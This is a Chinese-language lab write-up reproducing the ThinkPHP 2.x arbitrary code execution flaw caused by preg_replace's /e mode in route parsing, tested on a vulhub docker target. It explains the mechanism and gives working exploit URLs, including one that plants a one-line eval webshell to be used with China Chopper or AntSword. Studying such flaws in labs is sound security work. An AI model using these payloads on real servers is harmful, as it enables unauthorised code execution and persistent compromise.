漏洞复现-ThinkPHP 2.x-任意代码执行
0x00 实验环境
攻击机:Win 10
靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)
0x01 影响版本
标志:/index.php
版本:thinkphp2.x
简介:在ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
去freebuf上简单看了看漏洞原理,大体说的还是因为php版本在5.6.29以下时都是支持该函数执行中间的命令的,可到了7.x就不支持了。简单来讲就是
preg_replace('正则规则','替换字符','目标字符')
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式,此为PHP专有参数,例如preg_replace函数。
例如:
<?php @preg_replace('/test/e','print_r("AAA");','just test');
只要在“just test”中匹配到了“test”字符,就执行中间的print_r这条函数的命令。
0x02 漏洞复现
注:复现是比较简单的,原理需要自己去深入剖析
(1)访问页面
(2)使用报错爆出thinkphp的版本2.1:
(3)抓包或者使用插件查看一下有没有php的版本号,上面有介绍过,那个命令执行的触发条件<=php5.6.29,下面这个版本是满足条件的:
(4)漏洞利用:
http://xx.xx.xx.xx:8080/index.php?s=/index/index/xxx/${@phpinfo()}
(5)传马,使用以下语句(类似于在该页面写入了一句话木马):
http://xx.xx.xx.xx:8080/index.php?s=/Index/index/xxx/${@print(eval($_POST[1]))}
菜刀与蚁剑均能连接:
菜刀直接一句话连接即可:
蚁剑连接:
0x03 漏洞原理
这里简单的描述一下这个漏洞的原理:
(1)首先是需要php版本小于5.6.29;
(2)是使用了preg_replace函数,且使用了/e的命令可执行模式;
(3)在一组数据{abcdefgh}中,通过命令执行函数的方式,该数组可以依次执行:a-->b(值即执行b语句) c-->d(值即执行d语句),而在thinkphp中正好该方式体现在url的路由上,故会有s=/index(a)/index(b)/xxx(c)/${print(phpinfo())}(d)的payload;
(4)了解为什么${}会执行,在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行;
(5)为什么可以写了直接使用菜刀连接,这个其实相当于你在一个正常的index.php页面写入了一个恶意的一句话木马,既然写入了,当然可以连了;这个需要自己去咀嚼有深度的文章,这里我也是充分学习了freebuf的文章总结的,当你读完的时候就明白我总结的含义了。
漏洞详细原理:
https://www.freebuf.com/column/223149.html